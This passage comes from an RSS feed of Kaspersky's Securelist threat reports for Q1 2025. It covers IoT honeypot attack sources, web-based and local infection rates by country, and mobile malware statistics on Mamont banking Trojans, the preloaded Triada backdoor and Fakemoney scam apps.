</table>
<p><em>* Unique users who encountered threats to macOS as a percentage of all unique Kaspersky product users in the country/territory.</em></p>
<h2 id="iot-threat-statistics">IoT threat statistics</h2>
<p><em>This section presents statistics on attacks targeting Kaspersky IoT honeypots. The geographic data on attack sources is based on the IP addresses of attacking devices.</em></p>
<p>In the first quarter of 2025, the share of devices that attacked Kaspersky honeypots via the Telnet protocol increased again, following a decline at the end of 2024.</p>
<div class="js-infogram-embed" data-id="_/VC8mYjhxGiEx8SyBciGb" data-type="interactive" data-title="07-EN-ES-Malware report PC graphs" style="min-height:;"></div>
<p style="text-align: center;font-style: italic;font-weight: bold;margin-top: -10px"><em>Distribution of attacked services by number of unique IP addresses of attacking devices (<a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05085117/malware-report-q1-2025-pc7.png" target="_blank" rel="noopener">download</a>)</em></p>
<p>The distribution of attacks across Telnet and SSH remained virtually unchanged compared to the fourth quarter of 2024.</p>
<div class="js-infogram-embed" data-id="_/hidtuVe32dVjJRwW3Zwr" data-type="interactive" data-title="08-EN-ES-Malware report PC graphs" style="min-height:;"></div>
<p style="text-align: center;font-style: italic;font-weight: bold;margin-top: -10px"><em>Distribution of attackers’ sessions in Kaspersky honeypots (<a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05085229/malware-report-q1-2025-pc8.png" target="_blank" rel="noopener">download</a>)</em></p>
<h3 id="top-10-threats-delivered-to-iot-devices">TOP 10 threats delivered to IoT devices:</h3>
<div class="js-infogram-embed" data-id="_/LBg19h9hPlaPnfxw2msy" data-type="interactive" data-title="09-ES-EN-Malware report PC graphs" style="min-height:;"></div>
<p style="text-align: center;font-style: italic;font-weight: bold;margin-top: -10px"><em>Share of each threat uploaded to an infected device as a result of a successful attack in the total number of uploaded threats (<a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/05084049/malware-report-q1-2025-pc9.png" target="_blank" rel="noopener">download</a>)</em></p>
<p>A significant portion of the most widespread IoT threats continues to be made up of various Mirai DDoS botnet variants. BitCoinMiner also saw active distribution in the first quarter, accounting for 7.32% of detections. The number of attacks by the NyaDrop botnet (19.31%) decreased compared to the fourth quarter of 2024.</p>
<h3 id="geography-of-attacks-on-iot-honeypots">Geography of attacks on IoT honeypots</h3>
<p>When looking at SSH attacks by country/territory, mainland China’s share has declined, while attacks coming from Brazil have seen a noticeable increase. There was also a slight uptick in attacks coming from the United States, Indonesia, Australia, and Vietnam.</p>
<table>
<tbody>
<tr>
<td><strong>Country/territory</strong></td>
<td><strong>Q4 2024</strong></td>
<td><strong>Q1 2025</strong></td>
</tr>
<tr>
<td>Mainland China</td>
<td>32.99%</td>
<td>20.52%</td>
</tr>
<tr>
<td>India</td>
<td>19.13%</td>
<td>19.16%</td>
</tr>
<tr>
<td>Russian Federation</td>
<td>9.46%</td>
<td>9.16%</td>
</tr>
<tr>
<td>Brazil</td>
<td>2.18%</td>
<td>8.48%</td>
</tr>
<tr>
<td>United States</td>
<td>4.90%</td>
<td>5.52%</td>
</tr>
<tr>
<td>Indonesia</td>
<td>1.37%</td>
<td>3.99%</td>
</tr>
<tr>
<td>Hong Kong</td>
<td>2.81%</td>
<td>3.46%</td>
</tr>
<tr>
<td>Australia</td>
<td>1.31%</td>
<td>2.75%</td>
</tr>
<tr>
<td>France</td>
<td>3.53%</td>
<td>2.54%</td>
</tr>
<tr>
<td>Vietnam</td>
<td>1.41%</td>
<td>2.27%</td>
</tr>
</tbody>
</table>
<p>The share of Telnet attacks originating from China and India dropped, while Brazil, Nigeria, and Indonesia took a noticeably larger share.</p>
<table>
<tbody>
<tr>
<td><strong>Country/territory</strong></td>
<td><strong>Q4 2024</strong></td>
<td><strong>Q1 2025</strong></td>
</tr>
<tr>
<td>China</td>
<td>44.67%</td>
<td>39.82%</td>
</tr>
<tr>
<td>India</td>
<td>33.79%</td>
<td>30.07%</td>
</tr>
<tr>
<td>Brazil</td>
<td>2.62%</td>
<td>12.03%</td>
</tr>
<tr>
<td>Russian Federation</td>
<td>6.52%</td>
<td>5.14%</td>
</tr>
<tr>
<td>Pakistan</td>
<td>5.77%</td>
<td>3.99%</td>
</tr>
<tr>
<td>Nigeria</td>
<td>0.50%</td>
<td>3.01%</td>
</tr>
<tr>
<td>Indonesia</td>
<td>0.58%</td>
<td>2.25%</td>
</tr>
<tr>
<td>United States</td>
<td>0.42%</td>
<td>0.68%</td>
</tr>
<tr>
<td>Ukraine</td>
<td>0.79%</td>
<td>0.67%</td>
</tr>
<tr>
<td>Sweden</td>
<td>0.42%</td>
<td>0.33%</td>
</tr>
</tbody>
</table>
<h2 id="attacks-via-web-resources">Attacks via web resources</h2>
<p><em>The statistics in this section are based on detection verdicts by Web Anti-Virus, which protects users when suspicious objects are downloaded from malicious or infected web pages. Cybercriminals create malicious pages on purpose. Websites that host user-created content, such as forums, as well as compromised legitimate sites, can become infected.</em></p>
<h3 id="countries-and-territories-that-serve-as-sources-of-web-based-attacks-the-top-10">Countries and territories that serve as sources of web-based attacks: the TOP 10</h3>
<p>This section contains a geographical distribution of sources of online attacks blocked by Kaspersky products: web pages that redirect to exploits, sites that host exploits and other malware, botnet C&C centers, and so on. Any unique host could be the source of one or more web-based attacks.<br />
To determine the geographical source of web-based attacks, domain names were matched against their actual IP addresses, and then the geographical location of a specific IP address (GeoIP) was established.</p>
<p>In the first quarter of 2025, Kaspersky solutions blocked <strong>629,211,451 </strong>attacks launched from online resources across the globe. Web Anti-Virus detected <strong>88,389,361</strong> unique URLs.</p>
<div class="js-infogram-embed" data-id="_/rMhwfbqmTtIocmXyWCIY" data-type="interactive" data-title="10-EN-Malware report PC graphs" style="min-height:;"></div>
<p style="text-align: center;font-style: italic;font-weight: bold;margin-top: -10px"><em>Geographical distribution of sources of web-based attacks by country/territory, Q1 2025 (<a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/03230309/malware-report-q1-2025-pcEN10.png" target="_blank" rel="noopener">download</a>)</em></p>
<h3 id="countries-and-territories-where-users-faced-the-greatest-risk-of-online-infection">Countries and territories where users faced the greatest risk of online infection</h3>
<p>To assess the risk of online infection faced by PC users in various countries and territories, for each country or territory, we calculated the percentage of Kaspersky users on whose computers Web Anti-Virus was triggered during the reporting period. The resulting data reflects the aggressiveness of the environment in which computers operate in different countries and territories.</p>
<p>These rankings only include attacks by malicious objects that belong in the <strong>Malware</strong> category. Our calculations do not include Web Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware<em>.</em></p>
<table>
<tbody>
<tr>
<td></td>
<td><strong>Country/territory*</strong></td>
<td><strong>%**</strong></td>
<td></td>
</tr>
<tr>
<td>1</td>
<td>North Macedonia</td>
<td>10.17</td>
</tr>
<tr>
<td>2</td>
<td>Albania</td>
<td>9.96</td>
</tr>
<tr>
<td>3</td>
<td>Algeria</td>
<td>9.92</td>
</tr>
<tr>
<td>4</td>
<td>Bangladesh</td>
<td>9.92</td>
</tr>
<tr>
<td>5</td>
<td>Tunisia</td>
<td>9.80</td>
</tr>
<tr>
<td>6</td>
<td>Slovakia</td>
<td>9.77</td>
</tr>
<tr>
<td>7</td>
<td>Greece</td>
<td>9.66</td>
</tr>
<tr>
<td>8</td>
<td>Serbia</td>
<td>9.44</td>
</tr>
<tr>
<td>9</td>
<td>Tajikistan</td>
<td>9.28</td>
</tr>
<tr>
<td>10</td>
<td>Turkey</td>
<td>9.10</td>
</tr>
<tr>
<td>11</td>
<td>Peru</td>
<td>8.78</td>
</tr>
<tr>
<td>12</td>
<td>Portugal</td>
<td>8.70</td>
</tr>
<tr>
<td>13</td>
<td>Nepal</td>
<td>8.38</td>
</tr>
<tr>
<td>14</td>
<td>Philippines</td>
<td>8.33</td>
</tr>
<tr>
<td>15</td>
<td>Romania</td>
<td>8.26</td>
</tr>
<tr>
<td>16</td>
<td>Sri Lanka</td>
<td>8.20</td>
</tr>
<tr>
<td>17</td>
<td>Bulgaria</td>
<td>8.19</td>
</tr>
<tr>
<td>18</td>
<td>Madagascar</td>
<td>8.14</td>
</tr>
<tr>
<td>19</td>
<td>Hungary</td>
<td>8.12</td>
</tr>
<tr>
<td>20</td>
<td>Egypt</td>
<td>8.12</td>
</tr>
</tbody>
</table>
<p><em>* Excluded are countries and territories with relatively few (under 10,000) Kaspersky product users.</em><br />
<em>** Unique users targeted by web-based <strong>Malware</strong> attacks as a percentage of all unique Kaspersky product users in the country/territory.</em></p>
<p>On average during the quarter, 6.46% of users’ computers worldwide were subjected to at least one web-based <strong>Malware</strong> attack.</p>
<h2 id="local-threats">Local threats</h2>
<p>Statistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer by infecting files or removable media, or initially made their way onto the computer in non-transparent form. Examples of the latter are programs in complex installers and encrypted files.</p>
<p>Data in this section is based on analyzing statistics produced by anti-virus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media. The statistics are based on detection verdicts from the OAS (on-access scan) and ODS (on-demand scan) modules of File Anti-Virus. The data includes detections of malicious programs located on user computers or removable media connected to the computers, such as flash drives, camera memory cards, phones, or external hard drives.</p>
<p>In the first quarter of 2025, our File Anti-Virus detected <strong>21,533,464</strong> malicious and potentially unwanted objects.</p>
<h3 id="countries-and-territories-where-users-faced-the-highest-risk-of-local-infection">Countries and territories where users faced the highest risk of local infection</h3>
<p>For each country and territory, we calculated the percentage of Kaspersky product users on whose computers File Anti-Virus was triggered during the reporting period. These statistics reflect the level of personal computer infection in various countries and territories across the globe.</p>
<p>The rankings only include attacks by malicious objects that belong in the <strong>Malware</strong> category. Our calculations do not include File Anti-Virus detections of potentially dangerous or unwanted programs, such as RiskTool or adware<em>.</em></p>
<table>
<tbody>
<tr>
<td></td>
<td><strong>Country/territory*</strong></td>
<td><strong>%**</strong></td>
<td></td>
</tr>
<tr>
<td>1</td>
<td>Turkmenistan</td>
<td>47.41</td>
</tr>
<tr>
<td>2</td>
<td>Tajikistan</td>
<td>37.23</td>
</tr>
<tr>
<td>3</td>
<td>Afghanistan</td>
<td>36.92</td>
</tr>
<tr>
<td>4</td>
<td>Yemen</td>
<td>35.80</td>
</tr>
<tr>
<td>5</td>
<td>Cuba</td>
<td>32.08</td>
</tr>
<tr>
<td>6</td>
<td>Uzbekistan</td>
<td>31.31</td>
</tr>
<tr>
<td>7</td>
<td>Gabon</td>
<td>27.55</td>
</tr>
<tr>
<td>8</td>
<td>Syria</td>
<td>26.50</td>
</tr>
<tr>
<td>9</td>
<td>Vietnam</td>
<td>25.88</td>
</tr>
<tr>
<td>10</td>
<td>Belarus</td>
<td>25.68</td>
</tr>
<tr>
<td>11</td>
<td>Algeria</td>
<td>25.02</td>
</tr>
<tr>
<td>12</td>
<td>Bangladesh</td>
<td>24.86</td>
</tr>
<tr>
<td>13</td>
<td>Iraq</td>
<td>24.77</td>
</tr>
<tr>
<td>14</td>
<td>Cameroon</td>
<td>24.28</td>
</tr>
<tr>
<td>15</td>
<td>Burundi</td>
<td>24.28</td>
</tr>
<tr>
<td>16</td>
<td>Tanzania</td>
<td>24.23</td>
</tr>
<tr>
<td>17</td>
<td>Niger</td>
<td>24.01</td>
</tr>
<tr>
<td>18</td>
<td>Madagascar</td>
<td>23.74</td>
</tr>
<tr>
<td>19</td>
<td>Kyrgyzstan</td>
<td>23.73</td>
</tr>
<tr>
<td>20</td>
<td>Nicaragua</td>
<td>23.72</td>
</tr>
</tbody>
</table>
<p><em>* Excluded are countries and territories with relatively few (under 10,000) Kaspersky product users.</em><br />
<em>** Unique users on whose computers local <strong>Malware</strong> threats were blocked, as a percentage of all unique users of Kaspersky products in the country/territory.</em></p>
<p>On average worldwide, local <strong>Malware</strong> threats were recorded on 13.62% of users’ computers at least once during the quarter.</p>
]]></content:encoded>
<wfw:commentRss>https://securelist.com/malware-report-q1-2025-pc-iot-statistics/116686/feed/</wfw:commentRss>
<slash:comments>0</slash:comments>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/04173235/SL-malware-report-q1-2025-featured.jpg" width="2000" height="1000"><media:keywords>full</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/04173235/SL-malware-report-q1-2025-featured-1024x512.jpg" width="1024" height="512"><media:keywords>large</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/04173235/SL-malware-report-q1-2025-featured-300x150.jpg" width="300" height="150"><media:keywords>medium</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/04173235/SL-malware-report-q1-2025-featured-150x150.jpg" width="150" height="150"><media:keywords>thumbnail</media:keywords></media:content>
</item>
<item>
<title>IT threat evolution in Q1 2025. Mobile statistics</title>
<link>https://securelist.com/malware-report-q1-2025-mobile-statistics/116676/</link>
<comments>https://securelist.com/malware-report-q1-2025-mobile-statistics/116676/#respond</comments>
<dc:creator><![CDATA[Anton Kivva]]></dc:creator>
<pubDate>Thu, 05 Jun 2025 10:00:04 +0000</pubDate>
<category><![CDATA[Malware reports]]></category>
<category><![CDATA[Google Android]]></category>
<category><![CDATA[Mobile Malware]]></category>
<category><![CDATA[Malware Statistics]]></category>
<category><![CDATA[Malware Descriptions]]></category>
<category><![CDATA[Malware]]></category>
<category><![CDATA[Trojan Banker]]></category>
<category><![CDATA[Trojan]]></category>
<category><![CDATA[Trojan-Spy]]></category>
<category><![CDATA[Mamont]]></category>
<category><![CDATA[Triada]]></category>
<category><![CDATA[Mobile threats]]></category>
<guid isPermaLink="false">https://kasperskycontenthub.com/securelist/?p=116676</guid>
<description><![CDATA[The number of attacks on mobile devices involving malware, adware, or unwanted apps saw a significant increase in the first quarter.]]></description>
<content:encoded><![CDATA[<p><img width="990" height="400" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/04173235/SL-malware-report-q1-2025-featured-990x400.jpg" class="attachment-securelist-huge-promo size-securelist-huge-promo wp-post-image" alt="" decoding="async" loading="lazy" /></p><p><strong>IT threat evolution in Q1 2025. Mobile statistics</strong><br />
<a href="https://securelist.com/malware-report-q1-2025-pc-iot-statistics/116686/" target="_blank">IT threat evolution in Q1 2025. Non-mobile statistics</a></p>
<h2 id="quarterly-figures">Quarterly figures</h2>
<p>According to Kaspersky Security Network, in the first quarter of 2025:</p>
<ul>
<li>A total of 12 million attacks on mobile devices involving malware, adware, or unwanted apps were blocked.</li>
<li>Trojans, the most common mobile threat, accounted for 39.56% of total detected threats.</li>
<li>More than 180,000 malicious and potentially unwanted installation packages were detected, which included:
<ul>
<li>49,273 packages related to mobile bankers</li>
<li>1520 mobile ransomware Trojans.</li>
</ul>
</li>
</ul>
<h2 id="quarterly-highlights">Quarterly highlights</h2>
<p>Attacks on Android devices involving malware, adware, or potentially unwanted apps in the first quarter of 2025 increased to 12,184,351.</p>
<div class="js-infogram-embed" data-id="_/8P6yIGAQtZDpwXz3553s" data-type="interactive" data-title="01 EN-RU-ES Mobile malware Q1 2025 - charts" style="min-height:;"></div>
<p style="text-align: center;font-style: italic;font-weight: bold;margin-top: -10px"><em>Attacks on users of Kaspersky mobile solutions, Q3 2023 – Q1 2025 (<a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/04180422/malware-report-mobile-statistics1.png" target="_blank" rel="noopener">download</a>)</em></p>
<p>This growth was largely due to the activity of Mamont banking Trojans and Fakemoney scam apps, along with the discovery of fake popular brand smartphones that came preloaded with the <a href="https://securelist.com/triada-trojan-modules-analysis/116380/" target="_blank" rel="noopener">Triada backdoor</a>, capable of dynamically downloading any modules from a server. Triada’s modules possess a variety of features. They can substitute URLs in the browser, block connections to specific servers, or steal login credentials for social media and instant messaging services like TikTok, WhatsApp, Line, or Telegram. A module that steals crypto from wallets is worth separate mention. We tracked down several of the scammers’ wallets, the balances suggesting that a total of at least $270,000 had been stolen. The stolen amount in TRON cryptocurrency alone was $182,000.</p>
<div class="js-infogram-embed" data-id="_/MVFlNd9YeInPl0CKeVvj" data-type="interactive" data-title="02 EN Triada Trojan graphics" style="min-height:;"></div>
<p style="text-align: center;font-style: italic;font-weight: bold;margin-top: -10px"><em>A profitability chart for the threat actor’s TRON wallets (<a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/03132400/malware-report-mobile-statisticsEN2.png" target="_blank" rel="noopener">download</a>)</em></p>
<p>The first quarter saw the discovery of a new banker that attacks users in Turkey: Trojan-Banker.AndroidOS.Bankurt.c. It masquerades as an app for viewing pirated movies.</p>
<p align="center"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/04183316/malware-report-mobile-statistics3-1.png" class="magnificImage"><img loading="lazy" decoding="async" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/04183316/malware-report-mobile-statistics3-1.png" alt="" width="230" height="407" class="aligncenter size-full wp-image-116724" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/04183316/malware-report-mobile-statistics3-1.png 496w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/04183316/malware-report-mobile-statistics3-1-169x300.png 169w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/04183316/malware-report-mobile-statistics3-1-198x350.png 198w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/04183316/malware-report-mobile-statistics3-1-158x280.png 158w" sizes="auto, (max-width: 230px) 100vw, 230px" /></a></p>
<p>The Trojan uses DeviceAdmin permissions to gain a foothold in the system, obtains access to Accessibility features, and then helps its operators to control the device remotely via VNC and steal text messages.</p>
<h2 id="mobile-threat-statistics">Mobile threat statistics</h2>
<p>The number of detected Android malware and unwanted app samples increased compared to the fourth quarter of 2024, totaling 180,405.</p>
<div class="js-infogram-embed" data-id="_/dHrg8mbjTSEXXo0SjyKT" data-type="interactive" data-title="02-EN-RU-ES-Mobile malware Q1 2025 - charts" style="min-height:;"></div>
<p style="text-align: center;font-style: italic;font-weight: bold;margin-top: -10px"><em>Detected malicious and potentially unwanted installation packages, Q1 2024 – Q1 2025 (<a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/04180411/malware-report-mobile-statistics4.png" target="_blank" rel="noopener">download</a>)</em></p>
<p>Looking at the distribution of detected installation packages by type, we see that the typical frontrunners, RiskTool and adware, dropped to the third and fourth spots, respectively, in the first quarter. Banking Trojans (27.31%) and spy Trojans (24.49%) ranked as the most common threats.</p>
<div class="js-infogram-embed" data-id="_/JKZY7Rug0Ki5rKR0G7Vk" data-type="interactive" data-title="03-EN-Mobile report 2024" style="min-height:;"></div>
<p style="text-align: center;font-style: italic;font-weight: bold;margin-top: -10px"><em>Distribution of detected mobile apps by type, Q4 2024* – Q1 2025 (<a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/03132852/malware-report-mobile-statisticsEN5.png" target="_blank" rel="noopener">download</a>)</em></p>
<p><em>* Data for the previous quarter may differ slightly from previously published data due to certain verdicts being retrospectively revised.</em></p>
<p>The revision was prompted by a sharp increase in Mamont banker installation packages in the first quarter. Agent.akg, which steals text messages, accounted for the largest number of spy Trojan installation packages.</p>
<div class="js-infogram-embed" data-id="_/98HERQOhQ4gCyyiwVIeM" data-type="interactive" data-title="04-ES-EN-Mobile report 2024" style="min-height:;"></div>
<p style="text-align: center;font-style: italic;font-weight: bold;margin-top: -10px"><em>Share* of users attacked by the given type of malicious or potentially unwanted apps out of all targeted users of Kaspersky mobile products, Q4 2024 – Q1 2025 (<a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/03133006/malware-report-mobile-statisticsEN6.png" target="_blank" rel="noopener">download</a>)</em></p>
<p><em>* The total may exceed 100% if the same users experienced multiple attack types.</em></p>
<p>The first quarter saw a sharp rise in the number of users attacked by Trojans. This was driven by a large number of detected devices preloaded with the Triada Trojan and the increased activity of Fakemoney scam apps, which tricked users into sharing their personal data by promising easy money. The increase in the number of users who encountered banking Trojans was, again, due to the activity of the Mamont family.</p>
<h2 id="top-20-most-frequently-detected-types-of-mobile-malware">TOP 20 most frequently detected types of mobile malware</h2>
<p><em>Note that the malware rankings below exclude riskware and potentially unwanted apps, such as adware and RiskTool.</em></p>
<table>
<tbody>
<tr>
<td><strong>Verdict</strong></td>
<td><strong>%* Q4 2024</strong></td>
<td><strong>%* Q1 2025</strong></td>
<td><strong>Difference in p.p.</strong></td>
<td><strong>Change in ranking</strong></td>
</tr>
<tr>
<td>Trojan.AndroidOS.Fakemoney.v</td>
<td>30.33</td>
<td>26.41</td>
<td>–3.92</td>
<td>0</td>
</tr>
<tr>
<td>DangerousObject.Multi.Generic.</td>
<td>13.26</td>
<td>19.30</td>
<td>+6.04</td>
<td>0</td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.Mamont.db</td>
<td>0.08</td>
<td>15.99</td>
<td>+15.91</td>
<td></td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.Mamont.da</td>
<td>1.56</td>
<td>11.21</td>
<td>+9.65</td>
<td>+14</td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.Mamont.bc</td>
<td>10.79</td>
<td>7.61</td>
<td>–3.17</td>
<td>–2</td>
</tr>
<tr>
<td>Backdoor.AndroidOS.Triada.z</td>
<td>0.00</td>
<td>4.71</td>
<td>+4.71</td>
<td></td>
</tr>
<tr>
<td>Trojan.AndroidOS.Triada.hf</td>
<td>0.00</td>
<td>3.81</td>
<td>+3.81</td>
<td></td>
</tr>
<tr>
<td>Trojan.AndroidOS.Triada.fe</td>
<td>0.00</td>
<td>3.48</td>
<td>+3.47</td>
<td></td>
</tr>
<tr>
<td>Trojan.AndroidOS.Triada.gn</td>
<td>2.56</td>
<td>2.68</td>
<td>+0.13</td>
<td>+3</td>
</tr>
<tr>
<td>Trojan-Clicker.AndroidOS.Agent.bh</td>
<td>0.51</td>
<td>2.58</td>
<td>+2.07</td>
<td>+27</td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.Mamont.ef</td>
<td>0.00</td>
<td>2.44</td>
<td>+2.44</td>
<td></td>
</tr>
<tr>
<td>Trojan-Downloader.AndroidOS.Dwphon.a</td>
<td>3.40</td>
<td>2.19</td>
<td>–1.21</td>
<td>–2</td>
</tr>
<tr>
<td>Trojan.AndroidOS.Fakemoney.u</td>
<td>0.02</td>
<td>1.88</td>
<td>+1.86</td>
<td></td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.Agent.rj</td>
<td>3.63</td>
<td>1.86</td>
<td>–1.77</td>
<td>–7</td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.Mamont.ek</td>
<td>0.00</td>
<td>1.83</td>
<td>+1.83</td>
<td></td>
</tr>
<tr>
<td>Trojan.AndroidOS.Triada.ga</td>
<td>4.84</td>
<td>1.74</td>
<td>–3.10</td>
<td>–11</td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.Mamont.eb</td>
<td>0.00</td>
<td>1.59</td>
<td>+1.59</td>
<td></td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.Mamont.cb</td>
<td>1.09</td>
<td>1.56</td>
<td>+0.47</td>
<td>+4</td>
</tr>
<tr>
<td>Trojan.AndroidOS.Triada.gs</td>
<td>3.63</td>
<td>1.47</td>
<td>–2.16</td>
<td>–13</td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.Mamont.dn</td>
<td>0.00</td>
<td>1.46</td>
<td>+1.46</td>
<td></td>
</tr>
</tbody>
</table>
<p><em>* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky mobile solutions.</em></p>
<p>Nearly the entire list was occupied by the aforementioned Fakemoney apps and various Mamont banking Trojan variants, along with preloaded Backdoor.AndroidOS.Triada.z, and Trojan.AndroidOS.Triada.hf malicious apps. Additionally, remaining among the most prevalent Android malware were modified messengers with the embedded Triada Trojan (Triada.fe, Triada.gn, Triada.ga, Triada.gs) and the preloaded Dwphon Trojan. What is interesting is the inclusion of the Trojan-Clicker.AndroidOS.Agent.bh sample on the list. This is a fake ad blocker that, conversely, inflates ad views.</p>
<h2 id="region-specific-malware">Region-specific malware</h2>
<p>This section describes malware families that mostly focused on specific countries.</p>
<table>
<tbody>
<tr>
<td><strong>Verdict</strong></td>
<td><strong>Country*</strong></td>
<td><strong>%**</strong></td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.Coper.a</td>
<td>Turkey</td>
<td>96.85</td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.Rewardsteal.ks</td>
<td>India</td>
<td>94.36</td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.Coper.c</td>
<td>Turkey</td>
<td>94.29</td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.Rewardsteal.jp</td>
<td>India</td>
<td>93.78</td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.BrowBot.w</td>
<td>Turkey</td>
<td>92.81</td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.Rewardsteal.ib</td>
<td>India</td>
<td>92.79</td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.Rewardsteal.lv</td>
<td>India</td>
<td>92.34</td>
</tr>
<tr>
<td>Trojan-Spy.AndroidOS.SmForw.ko</td>
<td>India</td>
<td>90.71</td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.UdangaSteal.k</td>
<td>India</td>
<td>90.12</td>
</tr>
<tr>
<td>Trojan-Dropper.AndroidOS.Hqwar.bf</td>
<td>Turkey</td>
<td>88.34</td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.Agent.rg</td>
<td>India</td>
<td>86.97</td>
</tr>
<tr>
<td>Trojan-Dropper.AndroidOS.Agent.sm</td>
<td>Turkey</td>
<td>82.54</td>
</tr>
</tbody>
</table>
<p><em>* The country where the malware was most active.</em><br />
<em>** Unique users who encountered this Trojan variant in the indicated country as a percentage of all Kaspersky mobile security solution users attacked by the same variant.</em></p>
<p>The first quarter saw a somewhat smaller number of “selective” malicious apps than before. As usual, Turkey experienced a prevalence of banking Trojans: Coper, equipped with RAT capabilities enabling attackers to steal money through remote device management; BrowBot, which pilfers text messages; and the banking Trojan droppers Hqwar and Agent.sm. In India, users faced Rewardsteal banking Trojans which stole bank details by pretending to offer money. Additionally, the UdangaSteal Trojan, previously prevalent in Indonesia, and the SmForw.ko Trojan, which forwards incoming text messages to another number, also spread to India.</p>
<h2 id="mobile-banking-trojans">Mobile banking Trojans</h2>
<div class="js-infogram-embed" data-id="_/01neootOQ25aZkJQXhYk" data-type="interactive" data-title="05-EN-RU-ES-Mobile malware Q1 2025 - charts" style="min-height:;"></div>
<p style="text-align: center;font-style: italic;font-weight: bold;margin-top: -10px"><em>Number of installation packages for mobile banking Trojans detected by Kaspersky, Q1 2024 – Q1 2025 (<a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/04180435/malware-report-mobile-statistics7.png" target="_blank" rel="noopener">download</a>)</em></p>
<p>The increase in the number of installation packages for banking Trojans was primarily driven by Mamont. Its creators apparently follow a MaaS model, enabling any scammer to get a custom variant generated for a fee. As a result, a large number of unrelated cybercriminals are spreading distinct versions of Mamont.</p>
<p>When it comes to the percentage of users targeted, various versions of Mamont are also mainly at the top.</p>
<h3 id="top-10-mobile-bankers">Top 10 mobile bankers</h3>
<table>
<tbody>
<tr>
<td><strong>Verdict</strong></td>
<td><strong>%* Q4 2024</strong></td>
<td><strong>%* Q1 2025</strong></td>
<td><strong>Difference in p.p.</strong></td>
<td><strong>Change in ranking</strong></td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.Mamont.db</td>
<td>0.41</td>
<td>38.07</td>
<td>+37.67</td>
<td>+18</td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.Mamont.da</td>
<td>7.71</td>
<td>26.68</td>
<td>+18.98</td>
<td>+1</td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.Mamont.bc</td>
<td>53.25</td>
<td>18.12</td>
<td>–35.13</td>
<td>–2</td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.Mamont.ef</td>
<td>0.00</td>
<td>5.80</td>
<td>+5.80</td>
<td></td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.Agent.rj</td>
<td>17.93</td>
<td>4.43</td>
<td>–13.50</td>
<td>–3</td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.Mamont.ek</td>
<td>0.00</td>
<td>4.37</td>
<td>+4.37</td>
<td></td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.Mamont.eb</td>
<td>0.00</td>
<td>3.80</td>
<td>+3.80</td>
<td></td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.Mamont.cb</td>
<td>5.39</td>
<td>3.71</td>
<td>–1.67</td>
<td>–4</td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.Mamont.dn</td>
<td>0.00</td>
<td>3.48</td>
<td>+3.48</td>
<td></td>
</tr>
<tr>
<td>Trojan-Banker.AndroidOS.Creduz.q</td>
<td>0.00</td>
<td>1.43</td>
<td>+1.43</td>
<td></td>
</tr>
</tbody>
</table>
]]></content:encoded>
<wfw:commentRss>https://securelist.com/malware-report-q1-2025-mobile-statistics/116676/feed/</wfw:commentRss>
<slash:comments>0</slash:comments>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/04173235/SL-malware-report-q1-2025-featured.jpg" width="2000" height="1000"><media:keywords>full</media:keywords></media:content>
